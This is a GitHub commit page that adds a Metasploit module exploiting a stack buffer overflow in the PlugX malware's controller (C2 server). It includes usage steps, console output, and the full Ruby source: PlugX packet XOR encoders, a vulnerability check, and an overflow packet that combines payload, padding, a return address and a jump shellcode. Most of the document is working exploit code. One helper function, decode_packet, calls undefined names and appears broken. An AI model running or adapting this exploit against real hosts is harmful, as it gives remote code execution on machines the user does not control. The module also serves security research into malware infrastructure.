Skip to content

Commit 9954633

Browse files
Added PlugX Controller Stack Overflow Module
This module exploits a stack overflow in the Plug-X Controller when handling a larger than expected message. This vulnerability can allow remote code execution however it causes a popup message to be displayed on the target before execution is gained. ## Verification Run the PlugX C2 server on a target windows machine. The sample 9f59a606c57217d98a5eea6846c8113aca07b203e0dcf17877b34a8b2308ade6 is a Plux Type 1 server that works good for testing. - [ ] use exploit/windows/misc/plugx - [ ] set RHOST [ip of target] - [ ] set target 1 - [ ] exploit - [ ] acknowledge the "PeDecodePacket" message on the target Sample output: ``` msf> use exploit/windows/misc/plugx msf exploit(plugx) > set rhost 192.168.161.128 rhost => 192.168.161.128 msf exploit(plugx) > set target 1 target => 1 msf exploit(plugx) > check [*] 192.168.161.128:13579 - "\x03\xB0\x02\x00\x04\x00" [*] 192.168.161.128:13579 The target appears to be vulnerable. msf exploit(plugx) >
1 parent c336dae commit 9954633

File tree

1 file changed

+171
-0
lines changed

1 file changed

+171
-0
lines changed
Lines changed: 171 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,171 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'zlib'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
include Msf::Exploit::Remote::Tcp
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'PlugX Controller Stack Overflow',
15+
'Description' => %q{
16+
This module exploits a Stack buffer overflow in the PlugX Controller (C2 server)
17+
},
18+
'Author' => 'Professor Plum',
19+
'License' => MSF_LICENSE,
20+
'References' =>
21+
[
22+
],
23+
'DefaultOptions' =>
24+
{
25+
'EXITFUNC' => 'thread',
26+
'AllowWin32SEH' => true
27+
},
28+
'Payload' =>
29+
{
30+
'Space' => 0xe000,
31+
'BadChars' => '',
32+
'EncoderType' => Msf::Encoder::Type::AlphanumMixed
33+
},
34+
'Platform' => 'win',
35+
'DisclosureDate' => 'Jul 27 2017',
36+
'Targets' =>
37+
[
38+
['PlugX Type I (old)', { 'xor' => 0, 'callebp' => 0x004045c4 }],
39+
['PlugX Type I', { 'xor' => 1, 'callebp' => 0x004045c4 }],
40+
['PlugX Type II', { 'xor' => 2, 'callebp' => 0x004045c4 }]
41+
],
42+
'Privileged' => false,
43+
'DefaultTarget' => 2)
44+
)
45+
46+
register_options(
47+
[
48+
Opt::RPORT(13579)
49+
], self.class
50+
)
51+
end
52+
53+
def xor_stream1(key, src)
54+
key0 = key1 = key2 = key3 = key
55+
dst = ''
56+
for i in 0..(src.size - 1)
57+
key0 = (key0 + (key0 >> 3) - 0x11111111) & 0xFFFFFFFF
58+
key1 = (key1 + (key1 >> 5) - 0x22222222) & 0xFFFFFFFF
59+
key2 = (key2 + 0x44444444 - (key2 << 9)) & 0xFFFFFFFF
60+
key3 = (key3 + 0x33333333 - (key3 << 7)) & 0xFFFFFFFF
61+
new_key = (key2 + key3 + key1 + key0) & 0xFF
62+
res = src[i].ord ^ new_key
63+
dst += res.chr
64+
end
65+
dst
66+
end
67+
68+
def xor_stream1a(key, src)
69+
key0 = key1 = key2 = key3 = key
70+
dst = ''
71+
for i in 0..(src.size - 1)
72+
key0 = (key0 + (key0 >> 3) + 3) & 0xFFFFFFFF
73+
key1 = (key1 + (key1 >> 5) + 5) & 0xFFFFFFFF
74+
key2 = (key2 - 7 - (key2 << 9)) & 0xFFFFFFFF
75+
key3 = (key3 - 9 - (key3 << 7)) & 0xFFFFFFFF
76+
new_key = (key2 + key3 + key1 + key0) & 0xFF
77+
res = src[i].ord ^ new_key
78+
dst += res.chr
79+
end
80+
dst
81+
end
82+
83+
def xor_stream2(key, data)
84+
dst = ''
85+
for i in 0..(data.size - 1)
86+
key = (((key << 7) & 0xFFFFFFFF) - ((key >> 3) & 0xFFFFFFFF) + i + 0x713A8FC1) & 0xFFFFFFFF
87+
dst += ((key & 0xFF) ^ ((key >> 8) & 0xFF) ^ ((key >> 16) & 0xFF) ^ data[i].ord ^ ((key >> 24) & 0xFF)).chr
88+
end
89+
dst
90+
end
91+
92+
def xor_wrap(key, data)
93+
if target['xor'] == 0
94+
return xor_stream1a(key, data)
95+
elsif target['xor'] == 1
96+
return xor_stream1(key, data)
97+
elsif target['xor'] == 2
98+
return xor_stream2(key, data)
99+
end
100+
print_status('Unknown PlugX Type')
101+
end
102+
103+
def validate_response(data)
104+
if data.nil?
105+
print_status('Server closed connection')
106+
return false
107+
end
108+
if data.empty?
109+
print_status('No response recieved')
110+
return false
111+
end
112+
if data.size < 16
113+
print_status('Invalid packet')
114+
print_status(data.inspect)
115+
return false
116+
end
117+
key = data[0..4].unpack('<I')[0]
118+
hdr = xor_wrap(key, data[0..16])
119+
_x, _flags, _cmd, comp_size, _uncomp_size, _xx = hdr.unpack('<ISSSSI')
120+
if (comp_size + 16) == data.size
121+
raw = xor_wrap(key, data[16..-1])
122+
print_status(raw.inspect)
123+
return true
124+
end
125+
false
126+
end
127+
128+
def check
129+
connect
130+
key = rand(0xFFFFFFFF)
131+
hh = [key, 0, 0, 0, 0, 0].pack('<ISSSSI')
132+
hdr = xor_wrap(key, hh)
133+
sock.put([key].pack('<I') + hdr[4..-1])
134+
if validate_response(sock.get_once || '')
135+
return Exploit::CheckCode::Appears
136+
end
137+
Exploit::CheckCode::Safe
138+
end
139+
140+
def decode_packet(data)
141+
key = data[0..4].unpack('<I')
142+
_x, flags, _cmd, _comp_size, _uncomp_size, _xx = xorstream2(key, data[0..16]).unpack('<ISSSSI')
143+
144+
buf = xor_stream(key, data[16..-1])
145+
buf = decompress(buf)
146+
return the_flags[flags & 0xffff], xx, buf
147+
end
148+
149+
def exploit
150+
print_status("Trying target #{target.name}...")
151+
152+
l = 0xF008
153+
pad = 0x18
154+
a = 0x004045c4
155+
pktlen = l + pad + 9
156+
jmp = "\xe9" + [-pktlen].pack('<I')
157+
key = rand(0xFFFFFFFF)
158+
hh = [key, 0, 0, pktlen, pktlen, 0].pack('<ISSSSI')
159+
hdr = xor_wrap(key, hh)
160+
pkt = [key].pack('<I') + hdr[4..-1] + payload.encoded + 'A' * (l - payload.encoded.size) + [a].pack('<I') + 'x' * pad + jmp
161+
162+
connect
163+
sock.put(pkt)
164+
165+
print_status('waiting for response')
166+
validate_response(sock.get_once)
167+
disconnect
168+
169+
handler
170+
end
171+
end

0 commit comments

Comments
 (0)